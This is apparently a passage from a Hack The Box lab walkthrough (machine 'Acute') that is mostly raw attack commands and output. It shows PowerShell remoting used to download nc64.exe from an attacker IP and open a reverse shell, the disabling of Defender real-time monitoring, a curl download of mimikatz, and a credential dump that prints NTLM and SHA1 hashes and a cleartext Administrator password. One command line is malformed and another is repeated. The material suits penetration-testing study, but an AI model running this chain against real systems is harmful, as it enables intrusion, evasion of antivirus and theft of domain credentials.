PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -Credential $cred -ScriptBlock { wget 10.10.14.6/nc64.exe -outfile \programdata\nc64.exe }
PS C:\utils> Invoke-Command -ComputerName ATSSERVER -Credential $cred -ScriptBlock { \programdata\nc64.exe -e cmd 10.10.14.6 444}

At a listening nc:

┌──(puck㉿kali)-[~/htb/acute]
└─$ rlwrap nc -nlvp 444        
listening on [any] 444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.145] 51015
Microsoft Windows [Version 10.0.17763.2452]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\awallace\Documents>whoami
whoami
acute\awallace

C:\Users\awallace\Documents>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\Users\awallace\Documents>

.Fun

Dump the hashes ( from acute\awallace netcat shell )

PS C:\ProgramData> Set-MpPreference -DisableRealtimeMonitoring $true

C:\ProgramData>curl http://10.10.14.2:8000/mimikatz.exe -o m.exe

PS C:\Utils> Invoke-Command -ScriptBlock { net group "Domain Admins" 0xdf

C:\ProgramData>curl http://10.10.14.2:8000/mimikatz.exe -o m.exe

.

.

C:\ProgramData>m.exe
m.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonPasswords full

Authentication Id : 0 ; 33947857 (00000000:020600d1)
Session           : Batch from 0
User Name         : Administrator
Domain            : ACUTE
Logon Server      : ATSSERVER
Logon Time        : 27/02/2025 12:24:05
SID               : S-1-5-21-1786406921-1914792807-2072761762-500
    msv :	
     [00000003] Primary
     * Username : Administrator
     * Domain   : ACUTE
     * NTLM     : 5e3c0abbe0b4163c5612afe25c69ced6
     * SHA1     : 193ac37ac8743feab9395e464e173361334c18bb
     * DPAPI    : 3992b4548cb76b2858eb8709ebb0ca80
    tspkg :	
     * Username : Administrator
     * Domain   : ACUTE
     * Password : L1f30f4Spr1ngCh1ck3n!
    wdigest :	
     * Username : Administrator
     * Domain   : ACUTE
     * Password : (null)
    kerberos :	
     * Username : Administrator
     * Domain   : ACUTE.LOCAL
     * Password : (null)
    ssp :	
    credman :	

--snip--

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : ATSSERVER$
Domain            : ACUTE
Logon Server      : (null)
Logon Time        : 26/02/2025 07:32:02
SID               : S-1-5-18
    msv :	
    tspkg :	
    wdigest :	
     * Username : ATSSERVER$
     * Domain   : ACUTE
     * Password : (null)
    kerberos :	
     * Username : atsserver$
     * Domain   : ACUTE.LOCAL
     * Password : (null)
    ssp :	
    credman :	

mimikatz #